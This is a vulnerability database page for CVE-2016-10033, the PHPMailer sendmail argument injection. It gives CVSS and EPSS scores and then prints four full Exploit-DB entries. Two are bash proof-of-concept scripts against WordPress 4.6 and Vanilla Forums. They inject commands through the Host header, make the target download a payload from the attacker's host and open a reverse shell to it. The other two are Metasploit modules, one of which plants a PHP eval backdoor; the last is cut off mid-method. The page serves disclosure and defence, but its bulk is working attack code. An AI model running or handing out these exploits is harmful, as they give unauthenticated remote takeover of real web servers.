CVE-2016-10033 : Detail

CVE-2016-10033

9.8
/
Critical
A03-Injection
97.15%V3
Network
2016-12-30
18h00 +00:00
2018-10-09
16h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted Sender property.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 41962

Publication date : 2017-05-02 22h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit # CVE-2016-10033 # # wordpress-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski (@dawid_golunski) # https://legalhackers.com # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # # Exploit src URL: # https://exploitbox.io/exploit/wordpress-rce-exploit.sh # # # Tested on WordPress 4.6: # https://github.com/WordPress/WordPress/archive/4.6.zip # # Usage: # ./wordpress-rce-exploit.sh target-wordpress-url # # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0
Exploit Database EDB-ID : 41688

Publication date : 2016-12-25 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHPMailer Sendmail Argument Injection', 'Description' => %q{ PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes. }, 'Author' => [ 'Dawid Golunski', # vulnerability discovery and original PoC 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-10033'], ['CVE', '2016-10045'], ['EDB', '40968'], ['EDB', '40969'], ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'], ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html'] ], 'DisclosureDate' => 'Dec 26 2016', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => {'DisableNops' => true}, 'Targets' => [ ['PHPMailer <5.2.18', {}], ['PHPMailer 5.2.18 - 5.2.19', {}] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']), OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www']) ], self.class) register_advanced_options( [ OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]) ], self.class) end def trigger(trigger_uri) print_status("Sleeping before requesting the payload from: #{trigger_uri}") page_found = false sleep_time = 10 wait_time = datastore['WAIT_TIMEOUT'] print_status("Waiting for up to #{wait_time} seconds to trigger the payload") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time res = send_request_cgi( 'method' => 'GET', 'uri' => trigger_uri ) if res.nil? if page_found or session_created? print_good('Successfully triggered the payload') break end next end next unless res.code == 200 if res.body.length == 0 and not page_found print_good('Successfully found the payload') page_found = true end end end def exploit payload_file_name = "#{rand_text_alphanumeric(8)}.php" payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}" if target.name == 'PHPMailer <5.2.18' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" elsif target.name == 'PHPMailer 5.2.18 - 5.2.19' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" else fail_with(Failure::NoTarget, 'The specified version is not supported') end data = Rex::MIME::Message.new data.add_part('submit', nil, nil, 'form-data; name="action"') data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"') data.add_part(email, nil, nil, 'form-data; name="email"') data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"') print_status("Writing the backdoor to #{payload_file_path}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) register_files_for_cleanup(payload_file_path) trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name)) end end
Exploit Database EDB-ID : 41996

Publication date : 2017-05-10 22h00 +00:00
Author : Dawid Golunski
EDB Verified : No

#!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day # Core version (no plugins, default config.) # # CVE-2016-10033 (RCE) # CVE-2016-10073 (Header Injection) # # vanilla-forums-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski # https://legalhackers.com # https://twitter.com/dawid_golunski # # ExploitBox project: # https://ExploitBox.io # # # Exploit code: # https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh # # Full advisory URL: # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html # # Related advisories: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html # # White-paper 'Pwning PHP mail() function For Fun And RCE' # https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html # # # Usage: # ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip # # Tested on: # Vanilla Core 2.3 # https://open.vanillaforums.com/addon/vanilla-core-2.3 # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulnerabilities/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # Subscribe at: # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } echo "$intro" | base64 -d if [ "$#" -ne 2 ]; then echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n" exit 1 fi target="$1" rev_host="$2" echo -e ' \e[44m| ExploitBox.io |\e[0m' echo -e " \e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m" #sleep 1s echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m \e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m " echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" #sleep 2s #sleep 2s # Host payload on :80 RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # POST data string data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON' # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK" if [ $? -ne 0 ]; then echo "[!] Failed conecting to the target URL. Exiting" exit 2 fi echo -e "\e[92m[+]\033[0m Connected to the target" echo -e "\n\e[92m[+]\e[0m Payload sent successfully" sleep 2s # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/usr/bin/nohup /bin/bash /tmp/rce" prep_host_header "$cmd" #echo -e "Host Payload2: \nHost: $host_header" curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 #killall python echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi #kill -9 $hpid echo "Exiting..." exit 0
Exploit Database EDB-ID : 42024

Publication date : 2017-05-16 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress PHPMailer Host Header Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in WordPress version 4.6 with Exim as an MTA via a spoofed Host header to PHPMailer, a mail-sending library that is bundled with WordPress. A valid WordPress username is required to exploit the vulnerability. Additionally, due to the altered Host header, exploitation is limited to the default virtual host, assuming the header isn't mangled in transit. If the target is running Apache 2.2.32 or 2.4.24 and later, the server may have HttpProtocolOptions set to Strict, preventing a Host header containing parens from passing through, making exploitation unlikely. }, 'Author' => [ 'Dawid Golunski', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2016-10033'], ['URL', 'https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html'], ['URL', 'http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html'], ['URL', 'https://httpd.apache.org/docs/2.4/mod/core.html#httpprotocoloptions'] ], 'DisclosureDate' => 'May 3 2017', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['WordPress 4.6 / Exim', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_https', 'CMDSTAGER::FLAVOR' => 'wget' }, 'CmdStagerFlavor' => ['wget', 'curl'] )) register_options([ OptString.new('USERNAME', [true, 'WordPress username', 'admin']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) deregister_options('VHOST', 'URIPATH') end def check if (version = wordpress_version) version = Gem::Version.new(version) else return 